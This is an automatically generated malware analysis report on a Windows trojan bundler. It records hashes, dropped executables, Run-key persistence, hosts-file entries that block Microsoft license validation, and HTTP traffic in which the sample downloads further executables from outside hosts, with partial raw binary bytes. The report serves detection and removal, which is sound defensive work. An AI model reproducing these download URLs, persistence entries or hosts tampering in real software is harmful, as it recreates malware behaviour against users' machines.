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Application.Bundler.Temonde.HT_e4a1e48948


HEUR:Trojan.Win32.Generic (Kaspersky), Application.Bundler.Temonde.HT (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: e4a1e489480deb3f41e78f13b5c3a2b9

SHA1: fda732803fbc5629eb0aacac6c799c23d451d3ed

SHA256: db99cfe09b6e891097168754eac8fe8c39eb55d0f43f94e47d8ebf1b7e983510

SSDeep: 49152:3mlvp6tLWa5E8gu3vmXOTTWvqAhpu6xZgSqQ:

Size: 2353152 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6

Company: Igor Pavlov

Created at: 2017-02-19 12:13:02

Analyzed on: Windows7 SP1 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):No processes have been created.The Application injects its code into the following process(es):

%original file name%.exe:3380
sM1ER3x0n9.exe:2924

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:3380 makes changes in the file system.


The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe (195092 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9ENU9N67ZuZ.exe (67748 bytes)
C:\Windows\System32\drivers\etc\hosts (174 bytes)

The process sM1ER3x0n9.exe:2924 makes changes in the file system.


The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes)

Registry activity

The process %original file name%.exe:3380 makes changes in the system registry.


The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\CasterDate]
"date" = "18/03/2017"

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\wewewe]
"partner" = "tuto"
"Product" = "diskpower"
"channel" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\e4a1e489480deb3f41e78f13b5c3a2b9_RASMANCS]
"ConsoleTracingMask" = "4294901760"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process sM1ER3x0n9.exe:2924 makes changes in the system registry.


The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASMANCS]
"MaxFileSize" = "1048576"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASMANCS]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\sM1ER3x0n9_RASMANCS]
"EnableFileTracing" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"XWK0O1HE6U" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe"

Dropped PE files

MD5 File path
8b21a1050fd7d0abd67916868ea28af0c:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe
62316e35da8eff3f8d6ac5eaa03f30f7c:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9ENU9N67ZuZ.exe

HOSTS file anomalies

The Application modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 1038 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1validation.sls.microsoft.com
127.0.0.1cpm.paneladmin.pro
127.0.0.1publisher.hmdiadmingate.xyz
127.0.0.1distribution.hmdiadmingate.xyz
127.0.0.1hmdicrewtracksystem.xyz
127.0.0.1beautifllink.xyz


Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
  2. Delete the original Application file.
  3. Delete or disinfect the following files created/modified by the Application:

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe (195092 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9ENU9N67ZuZ.exe (67748 bytes)
    C:\Windows\System32\drivers\etc\hosts (174 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "XWK0O1HE6U" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sM1ER3x0n9.exe"

  5. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  7. Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Y
Product Name: YZOC06Z
Product Version: 2.6.8.4
Legal Copyright: Copyright (c) 9273
Legal Trademarks:
Original Filename: SxxW2X3.exe
Internal Name: SxxW2X3.exe
File Version: 2.6.8.4
File Description: YZOC06
Comments: YZOC06Z
Language: English (United States)

Company Name: YProduct Name: YZOC06ZProduct Version: 2.6.8.4Legal Copyright: Copyright (c) 9273Legal Trademarks: Original Filename: SxxW2X3.exeInternal Name: SxxW2X3.exeFile Version: 2.6.8.4File Description: YZOC06Comments: YZOC06ZLanguage: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text8192216288021632004.17059e2824a1b5fc660e8e1f235dc2d074b5
.rsrc21790721888601889283.2375960324a0eefb7888e1ddb6315327fcf56
.reloc2375680125120.07063957c7d628ae673c1e75dc87c85be61e7d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL IP
hxxp://asiasoftwaretools.com/get/3/wizzcaster_v2.exe94.23.252.37
hxxp://wizzcaster.com/api/v5/config188.165.209.131
hxxp://wizzcaster.com/api/v5/link188.165.209.131
hxxp://asiasoftwaretools.com/get/4/remote.exe94.23.252.37
teredo.ipv6.microsoft.com157.56.106.189

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /get/4/remote.exe HTTP/1.1

Host: asiasoftwaretools.com

HTTP/1.1 200 OK

Date: Sat, 18 Mar 2017 19:21:38 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="remote.exe"

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

85800..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{.X.........."...0.................. ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc...............V..............@..B........................H........#....................................................................(....r...po...........%...o....&*..(....*.~....-.r...p.....(....o....s.........~....*.~....*.......*.~....*..(....*Vs....(....t.........*......(....rW..po...........%...o....&*..(....*v.o....rg..po......o....t....*..(....(....%-.r}..ps....z.......%...o....&*.(....*j~....~.... ....(....( ...*...0..C.......r...p(!.....~"...o#.........o$.....r...po.......&....o%....r...po..... .....&....o%....r...po.......'....o%....r...po.......(....o%....r...po.....(&....( ...o'.....*...%..,.o(.....( ....o%....r...po.....(&....( ...o'.....*...%..,.o(.....( ....o%....r%..p~"...o)..........o....t......o*.....o ...(,....(&........io-...o'...*..0..k........( ....s.......(/........i.Yo0...........jo1.....s2.........io3...&...,..o4....(&....o'........,..o4......*.......7..E..........Q^.......0..3............(....rE..po...........%...%.(.....o....&..&..*.........//......Vri..p.....r...p.....*..BSJB............v2.0.50727......l...d...#~.......

<<< skipped >>>

POST /api/v5/config HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: wizzcaster.com

Content-Length: 38

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

....

GET /get/3/wizzcaster_v2.exe HTTP/1.1

Host: asiasoftwaretools.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Sat, 18 Mar 2017 19:21:35 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="wizzcaster_v2.exe"

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

1ad800..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{.X.........."...0..(...........F... ...`....@.. .......................@............@..................................E..O....`....................... .......D............................................... ............... ..H............text....&... ...(.................. ..`.rsrc........`.......*..............@..@.reloc....... ......................@..B.................E......H........#... ...........C....................................................(....r...po...........%...o....&*..(....*.~....-.r...p.....(....o....s.........~....*.~....*.......*.~....*..(....*Vs....(....t.........*......(....rW..po...........%...o....&*..(....*v.o....rg..po......o....t....*..(....(....%-.r}..ps....z.......%...o....&*.(....*j~....~.... ....(....( ...*...0..C.......r...p(!.....~"...o#.........o$.....r...po.......&....o%....r...po..... .....&....o%....r...po.......'....o%....r...po.......(....o%....r...po.....(&....( ...o'.....*...%..,.o(.....( ....o%....r...po.....(&....( ...o'.....*...%..,.o(.....( ....o%....r%..p~"...o)..........o....t......o*.....o ...(,....(&........io-...o'...*..0..k........( ....s.......(/........i.Yo0...........jo1.....s2.........io3...&...,..o4....(&....o'........,..o4......*.......7..E..........Q^.......0..3............(....rE..po...........%...%.(.....o....&..&..*.........//......Vri..p.....r...p.....*..BSJB............v2.0.50727......l...d...#~......

<<< skipped >>>

Map

The Application connects to the servers at the folowing location(s):

Strings from Dumps

sM1ER3x0n9.exe_2924_rwx_00352000_00002000:

0646 6$6

0646 6$6